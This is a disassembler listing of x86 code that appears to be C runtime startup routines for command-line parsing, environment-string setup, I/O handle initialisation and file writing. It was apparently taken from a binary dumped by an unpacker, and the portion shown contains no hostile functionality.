loc_41DC94:				; CODE XREF: sub_41DC74+34j
		cmp	al, 3Dh
		jz	short loc_41DC99
		inc	edi


loc_41DC99:				; CODE XREF: sub_41DC74+22j
		push	esi
		call	sub_419D00
		pop	ecx
		lea	esi, [esi+eax+1]


loc_41DCA4:				; CODE XREF: sub_41DC74+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DC94
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_416DAF
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_481184, edi
		jnz	short loc_41DCC9


loc_41DCC4:				; CODE XREF: sub_41DC74+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DD21
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41DC74+4Ej
		mov	esi, dword_4811A8
		push	ebp
		jmp	short loc_41DCFC
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DC74+8Aj
		push	esi
		call	sub_419D00
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_41DCFA
		push	ebp
		call	sub_416DAF
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_41DD25
		push	esi
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx
		add	edi, 4


loc_41DCFA:				; CODE XREF: sub_41DC74+6Bj
		add	esi, ebp


loc_41DCFC:				; CODE XREF: sub_41DC74+5Cj
		cmp	[esi], bl
		jnz	short loc_41DCD2
		push	dword_4811A8
		call	sub_416C97
		mov	dword_4811A8, ebx
		mov	[edi], ebx
		mov	dword_48296C, 1
		xor	eax, eax


loc_41DD1F:				; CODE XREF: sub_41DC74+C5j
		pop	ecx
		pop	ebp


loc_41DD21:				; CODE XREF: sub_41DC74+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41DD25:				; CODE XREF: sub_41DC74+78j
		push	dword_481184
		call	sub_416C97
		mov	dword_481184, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DD1F
sub_41DC74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD3B	proc near		; CODE XREF: sub_41DEA7+54p
					; sub_41DEA7+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_41DD5E
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41DD5E:				; CODE XREF: sub_41DD3B+18j
					; sub_41DD3B+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_41DD71
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_41DD9E
; ---------------------------------------------------------------------------


loc_41DD71:				; CODE XREF: sub_41DD3B+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41DD7C
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_41DD7C:				; CODE XREF: sub_41DD3B+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_481701[ebx], 4
		jz	short loc_41DD97
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41DD96
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_41DD96:				; CODE XREF: sub_41DD3B+54j
		inc	eax


loc_41DD97:				; CODE XREF: sub_41DD3B+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_41DDD0


loc_41DD9E:				; CODE XREF: sub_41DD3B+34j
		test	edx, edx
		jnz	short loc_41DD5E
		cmp	cl, 20h
		jz	short loc_41DDAC
		cmp	cl, 9
		jnz	short loc_41DD5E


loc_41DDAC:				; CODE XREF: sub_41DD3B+6Aj
		test	edi, edi
		jz	short loc_41DDB4
		and	byte ptr [edi-1], 0


loc_41DDB4:				; CODE XREF: sub_41DD3B+73j
					; sub_41DD3B+96j
		and	[ebp+var_4], 0


loc_41DDB8:				; CODE XREF: sub_41DD3B+157j
		cmp	byte ptr [eax],	0
		jz	loc_41DE97


loc_41DDC1:				; CODE XREF: sub_41DD3B+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_41DDCD
		cmp	cl, 9
		jnz	short loc_41DDD3


loc_41DDCD:				; CODE XREF: sub_41DD3B+8Bj
		inc	eax
		jmp	short loc_41DDC1
; ---------------------------------------------------------------------------


loc_41DDD0:				; CODE XREF: sub_41DD3B+61j
		dec	eax
		jmp	short loc_41DDB4
; ---------------------------------------------------------------------------


loc_41DDD3:				; CODE XREF: sub_41DD3B+90j
		cmp	byte ptr [eax],	0
		jz	loc_41DE97
		cmp	[ebp+arg_0], 0
		jz	short loc_41DDEB
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41DDEB:				; CODE XREF: sub_41DD3B+A5j
		inc	dword ptr [ebx]


loc_41DDED:				; CODE XREF: sub_41DD3B+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_41DDF6
; ---------------------------------------------------------------------------


loc_41DDF4:				; CODE XREF: sub_41DD3B+BEj
		inc	eax
		inc	edx


loc_41DDF6:				; CODE XREF: sub_41DD3B+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_41DDF4
		cmp	byte ptr [eax],	22h
		jnz	short loc_41DE26
		test	dl, 1
		jnz	short loc_41DE24
		cmp	[ebp+var_4], 0
		jz	short loc_41DE17
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_41DE17
		mov	eax, ecx
		jmp	short loc_41DE19
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41DD3B+CEj
					; sub_41DD3B+D6j
		xor	ebx, ebx


loc_41DE19:				; CODE XREF: sub_41DD3B+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_41DE24:				; CODE XREF: sub_41DD3B+C8j
		shr	edx, 1


loc_41DE26:				; CODE XREF: sub_41DD3B+C3j
		test	edx, edx
		jz	short loc_41DE37


loc_41DE2A:				; CODE XREF: sub_41DD3B+FAj
		test	edi, edi
		jz	short loc_41DE32
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_41DE32:				; CODE XREF: sub_41DD3B+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_41DE2A


loc_41DE37:				; CODE XREF: sub_41DD3B+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41DE85
		cmp	[ebp+var_4], 0
		jnz	short loc_41DE4D
		cmp	cl, 20h
		jz	short loc_41DE85
		cmp	cl, 9
		jz	short loc_41DE85


loc_41DE4D:				; CODE XREF: sub_41DD3B+106j
		test	ebx, ebx
		jz	short loc_41DE7F
		test	edi, edi
		jz	short loc_41DE6E
		movzx	edx, cl
		test	byte_481701[edx], 4
		jz	short loc_41DE67
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]


loc_41DE67:				; CODE XREF: sub_41DD3B+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_41DE7D
; ---------------------------------------------------------------------------


loc_41DE6E:				; CODE XREF: sub_41DD3B+118j
		movzx	ecx, cl
		test	byte_481701[ecx], 4
		jz	short loc_41DE7D
		inc	eax
		inc	dword ptr [esi]


loc_41DE7D:				; CODE XREF: sub_41DD3B+131j
					; sub_41DD3B+13Dj
		inc	dword ptr [esi]


loc_41DE7F:				; CODE XREF: sub_41DD3B+114j
		inc	eax
		jmp	loc_41DDED
; ---------------------------------------------------------------------------


loc_41DE85:				; CODE XREF: sub_41DD3B+100j
					; sub_41DD3B+10Bj ...
		test	edi, edi
		jz	short loc_41DE8D
		and	byte ptr [edi],	0
		inc	edi


loc_41DE8D:				; CODE XREF: sub_41DD3B+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_41DDB8
; ---------------------------------------------------------------------------


loc_41DE97:				; CODE XREF: sub_41DD3B+80j
					; sub_41DD3B+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41DEA1
		and	dword ptr [eax], 0


loc_41DEA1:				; CODE XREF: sub_41DD3B+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_41DD3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA7	proc near		; CODE XREF: .text:0041874Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_482978, edi
		jnz	short loc_41DEBE
		call	sub_41D44B


loc_41DEBE:				; CODE XREF: sub_41DEA7+10j
		and	byte_481434, 0
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	edi
		call	dword_42200C	; GetModuleFileNameA
		mov	eax, dword_482968
		cmp	eax, edi
		mov	off_481194, esi
		jz	short loc_41DEED
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_41DEEF


loc_41DEED:				; CODE XREF: sub_41DEA7+3Dj
		mov	ebx, esi


loc_41DEEF:				; CODE XREF: sub_41DEA7+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_41DD3B
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_416DAF
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_41DF1F
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DF44
; ---------------------------------------------------------------------------


loc_41DF1F:				; CODE XREF: sub_41DEA7+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_41DD3B
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_481178, eax
		pop	ecx
		mov	dword_48117C, edi
		xor	eax, eax


loc_41DF44:				; CODE XREF: sub_41DEA7+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF49	proc near		; CODE XREF: .text:00418743p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_481438
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, dword_4221CC
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_41DF92
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41DF79
		mov	dword_481438, 1
		jmp	short loc_41DF97
; ---------------------------------------------------------------------------


loc_41DF79:				; CODE XREF: sub_41DF49+22j
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41DF8D
		mov	eax, ebp
		mov	dword_481438, eax
		jmp	short loc_41DF92
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF49+39j
		mov	eax, dword_481438


loc_41DF92:				; CODE XREF: sub_41DF49+1Aj
					; sub_41DF49+42j
		cmp	eax, 1
		jnz	short loc_41E014


loc_41DF97:				; CODE XREF: sub_41DF49+2Ej
		cmp	esi, ebx
		jnz	short loc_41DFA3
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41E01C


loc_41DFA3:				; CODE XREF: sub_41DF49+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41DFB8


loc_41DFAA:				; CODE XREF: sub_41DF49+66j
					; sub_41DF49+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41DFAA
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41DFAA


loc_41DFB8:				; CODE XREF: sub_41DF49+5Fj
		mov	edi, dword_4220D8
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41E009
		push	ebp
		call	sub_416DAF
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41E009
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41E005
		push	[esp+18h+var_8]
		call	sub_416C97
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41E005:				; CODE XREF: sub_41DF49+ACj
		mov	ebx, [esp+18h+var_8]


loc_41E009:				; CODE XREF: sub_41DF49+8Cj
					; sub_41DF49+9Bj
		push	esi
		call	dword_4221C8	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41E064
; ---------------------------------------------------------------------------


loc_41E014:				; CODE XREF: sub_41DF49+4Cj
		cmp	eax, ebp
		jz	short loc_41E020
		cmp	eax, ebx
		jz	short loc_41E020


loc_41E01C:				; CODE XREF: sub_41DF49+58j
					; sub_41DF49+E1j
		xor	eax, eax
		jmp	short loc_41E064
; ---------------------------------------------------------------------------


loc_41E020:				; CODE XREF: sub_41DF49+CDj
					; sub_41DF49+D1j
		call	dword_4221C4	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41E01C
		cmp	[esi], bl
		jz	short loc_41E03A


loc_41E030:				; CODE XREF: sub_41DF49+EAj
					; sub_41DF49+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41E030
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41E030


loc_41E03A:				; CODE XREF: sub_41DF49+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_416DAF
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_41E050
		xor	edi, edi
		jmp	short loc_41E05B
; ---------------------------------------------------------------------------


loc_41E050:				; CODE XREF: sub_41DF49+101j
		push	ebp
		push	esi
		push	edi
		call	sub_41B490
		add	esp, 0Ch


loc_41E05B:				; CODE XREF: sub_41DF49+105j
		push	esi
		call	dword_4221C0	; FreeEnvironmentStringsA
		mov	eax, edi


loc_41E064:				; CODE XREF: sub_41DF49+C9j
					; sub_41DF49+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41DF49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E06B	proc near		; CODE XREF: .text:00418727p

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 48h
		push	ebx
		mov	ebx, 480h
		push	ebx
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		jnz	short loc_41E087
		or	eax, 0FFFFFFFFh
		jmp	loc_41E264
; ---------------------------------------------------------------------------


loc_41E087:				; CODE XREF: sub_41E06B+12j
		mov	dword_4815E0, eax
		mov	dword_4815D0, 20h
		lea	ecx, [eax+480h]
		jmp	short loc_41E0BC
; ---------------------------------------------------------------------------


loc_41E09E:				; CODE XREF: sub_41E06B+53j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_4815E0
		add	eax, 24h
		add	ecx, 480h


loc_41E0BC:				; CODE XREF: sub_41E06B+31j
		cmp	eax, ecx
		jb	short loc_41E09E
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+58h+var_44]
		push	eax
		call	dword_422168	; GetStartupInfoA
		cmp	word ptr [esp+58h+var_14+2], 0
		jz	loc_41E1C3
		mov	eax, [esp+58h+var_10]
		test	eax, eax
		jz	loc_41E1C3
		mov	edi, [eax]
		lea	ebp, [eax+4]
		lea	eax, [edi+ebp]
		mov	[esp+58h+var_48], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_41E0FD
		mov	edi, eax


loc_41E0FD:				; CODE XREF: sub_41E06B+8Ej
		cmp	dword_4815D0, edi
		jge	short loc_41E153
		mov	esi, offset dword_4815E4


loc_41E10A:				; CODE XREF: sub_41E06B+DEj
		push	ebx
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		jz	short loc_41E14D
		add	dword_4815D0, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]
		jmp	short loc_41E13C
; ---------------------------------------------------------------------------


loc_41E126:				; CODE XREF: sub_41E06B+D3j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, ebx


loc_41E13C:				; CODE XREF: sub_41E06B+B9j
		cmp	eax, ecx
		jb	short loc_41E126
		add	esi, 4
		cmp	dword_4815D0, edi
		jl	short loc_41E10A
		jmp	short loc_41E153
; ---------------------------------------------------------------------------


loc_41E14D:				; CODE XREF: sub_41E06B+A8j
		mov	edi, dword_4815D0


loc_41E153:				; CODE XREF: sub_41E06B+98j
					; sub_41E06B+E0j
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_41E1C3


loc_41E159:				; CODE XREF: sub_41E06B+156j
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E1B8
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41E1B8
		test	cl, 8
		jnz	short loc_41E17C
		push	eax
		call	dword_4221D4	; GetFileType
		test	eax, eax
		jz	short loc_41E1B8


loc_41E17C:				; CODE XREF: sub_41E06B+104j
		mov	ecx, ebx
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebp+0]
		mov	[esi+4], al
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41E1E3
		inc	dword ptr [esi+8]


loc_41E1B8:				; CODE XREF: sub_41E06B+F7j
					; sub_41E06B+FFj ...
		add	[esp+58h+var_48], 4
		inc	ebx
		inc	ebp
		cmp	ebx, edi
		jl	short loc_41E159


loc_41E1C3:				; CODE XREF: sub_41E06B+69j
					; sub_41E06B+75j ...
		xor	ebx, ebx


loc_41E1C5:				; CODE XREF: sub_41E06B+1E2j
		mov	ecx, dword_4815E0
		lea	eax, [ebx+ebx*8]
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_41E245
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41E1E8
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41E1F2
; ---------------------------------------------------------------------------


loc_41E1E3:				; CODE XREF: sub_41E06B+148j
					; sub_41E06B+1CDj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E261
; ---------------------------------------------------------------------------


loc_41E1E8:				; CODE XREF: sub_41E06B+171j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41E1F2:				; CODE XREF: sub_41E06B+176j
		push	eax
		call	dword_4221B8	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41E23F
		push	edi
		call	dword_4221D4	; GetFileType
		test	eax, eax
		jz	short loc_41E23F
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_41E21D
		or	byte ptr [esi+4], 40h
		jmp	short loc_41E226
; ---------------------------------------------------------------------------


loc_41E21D:				; CODE XREF: sub_41E06B+1AAj
		cmp	eax, 3
		jnz	short loc_41E226
		or	byte ptr [esi+4], 8


loc_41E226:				; CODE XREF: sub_41E06B+1B0j
					; sub_41E06B+1B5j
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41E1E3
		inc	dword ptr [esi+8]
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E23F:				; CODE XREF: sub_41E06B+193j
					; sub_41E06B+19Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E245:				; CODE XREF: sub_41E06B+169j
		or	byte ptr [esi+4], 80h


loc_41E249:				; CODE XREF: sub_41E06B+1D2j
					; sub_41E06B+1D8j
		inc	ebx
		cmp	ebx, 3
		jl	loc_41E1C5
		push	dword_4815D0
		call	dword_4221D0	; SetHandleCount
		xor	eax, eax


loc_41E261:				; CODE XREF: sub_41E06B+17Bj
		pop	edi
		pop	esi
		pop	ebp


loc_41E264:				; CODE XREF: sub_41E06B+17j
		pop	ebx
		add	esp, 48h
		retn
sub_41E06B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E269	proc near		; CODE XREF: sub_41E40E+52p
					; sub_42098E+91p

var_420		= byte ptr -420h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_18], edi
		jnz	short loc_41E292
		xor	eax, eax
		jmp	loc_41E400
; ---------------------------------------------------------------------------


loc_41E292:				; CODE XREF: sub_41E269+20j
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_0]
		and	eax, 1Fh
		sar	ebx, 5
		push	esi
		lea	esi, [eax+eax*8]
		lea	ebx, ds:4815E0h[ebx*4]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_41E2C5
		push	2
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208B6
		add	esp, 10h


loc_41E2C5:				; CODE XREF: sub_41E269+4Bj
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41E397
		cmp	[ebp+arg_8], edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], edi
		jbe	loc_41E3D2


loc_41E2E5:				; CODE XREF: sub_41E269+F3j
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_420]
		mov	[ebp+var_C], edi


loc_41E2F4:				; CODE XREF: sub_41E269+B5j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41E320
		mov	edx, [ebp+var_10]
		inc	[ebp+var_10]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_41E311
		inc	[ebp+var_18]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+var_C]


loc_41E311:				; CODE XREF: sub_41E269+9Cj
		mov	[eax], dl
		inc	eax
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 400h
		jl	short loc_41E2F4


loc_41E320:				; CODE XREF: sub_41E269+8Ej
		mov	edi, eax
		lea	eax, [ebp+var_420]
		sub	edi, eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		lea	eax, [ebp+var_420]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_422030	; WriteFile
		test	eax, eax
		jz	short loc_41E360
		mov	eax, [ebp+var_1C]
		add	[ebp+var_14], eax
		cmp	eax, edi
		jl	short loc_41E369
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_41E2E5
		jmp	short loc_41E36B
; ---------------------------------------------------------------------------


loc_41E360:				; CODE XREF: sub_41E269+DCj
		call	dword_422004	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_41E369:				; CODE XREF: sub_41E269+E6j
		xor	edi, edi


loc_41E36B:				; CODE XREF: sub_41E269+F5j
					; sub_41E269+14Ej ...
		mov	eax, [ebp+var_14]
		cmp	eax, edi
		jnz	loc_41E3FB
		cmp	[ebp+var_8], edi
		jz	short loc_41E3D2
		push	5
		pop	esi
		cmp	[ebp+var_8], esi
		jnz	short loc_41E3C4
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		mov	[eax], esi
		jmp	short loc_41E3CD
; ---------------------------------------------------------------------------


loc_41E397:				; CODE XREF: sub_41E269+64j
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_422030	; WriteFile
		test	eax, eax
		jz	short loc_41E3B9
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], edi
		mov	[ebp+var_14], eax
		jmp	short loc_41E36B
; ---------------------------------------------------------------------------


loc_41E3B9:				; CODE XREF: sub_41E269+143j
		call	dword_422004	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		jmp	short loc_41E36B
; ---------------------------------------------------------------------------


loc_41E3C4:				; CODE XREF: sub_41E269+118j
		push	[ebp+var_8]
		call	sub_41B947
		pop	ecx


loc_41E3CD:				; CODE XREF: sub_41E269+12Cj
					; sub_41E269+190j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E3FE
; ---------------------------------------------------------------------------


loc_41E3D2:				; CODE XREF: sub_41E269+76j
					; sub_41E269+110j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41E3E7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41E3E7
		xor	eax, eax
		jmp	short loc_41E3FE
; ---------------------------------------------------------------------------


loc_41E3E7:				; CODE XREF: sub_41E269+170j
					; sub_41E269+178j
		call	sub_41B935
		mov	dword ptr [eax], 1Ch
		call	sub_41B93E
		mov	[eax], edi
		jmp	short loc_41E3CD
; ---------------------------------------------------------------------------


loc_41E3FB:				; CODE XREF: sub_41E269+107j
		sub	eax, [ebp+var_18]


loc_41E3FE:				; CODE XREF: sub_41E269+167j
					; sub_41E269+17Cj
		pop	esi
		pop	ebx


loc_41E400:				; CODE XREF: sub_41E269+24j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		call	sub_41C526
		leave
		retn
sub_41E269	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E40E	proc near		; CODE XREF: sub_418805+98p
					; sub_418805+EBp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041E49D SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_42C9D0
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_4815D0
		jnb	short loc_41E49D
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E49D
		push	ebx
		call	sub_41F54C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E46D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E269
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41E484
; ---------------------------------------------------------------------------


loc_41E46D:				; CODE XREF: sub_41E40E+49j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41E484:				; CODE XREF: sub_41E40E+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E495
		mov	eax, [ebp+var_1C]
		jmp	short loc_41E4B3
sub_41E40E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E492	proc near		; DATA XREF: .text:stru_42C9D0o
		mov	ebx, [ebp+8]
sub_41E492	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E495	proc near		; CODE XREF: sub_41E40E+7Ap
		push	ebx
		call	sub_41F5BF
		pop	ecx
		retn
sub_41E495	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E40E


loc_41E49D:				; CODE XREF: sub_41E40E+15j
					; sub_41E40E+35j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41E4B3:				; CODE XREF: sub_41E40E+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41E40E

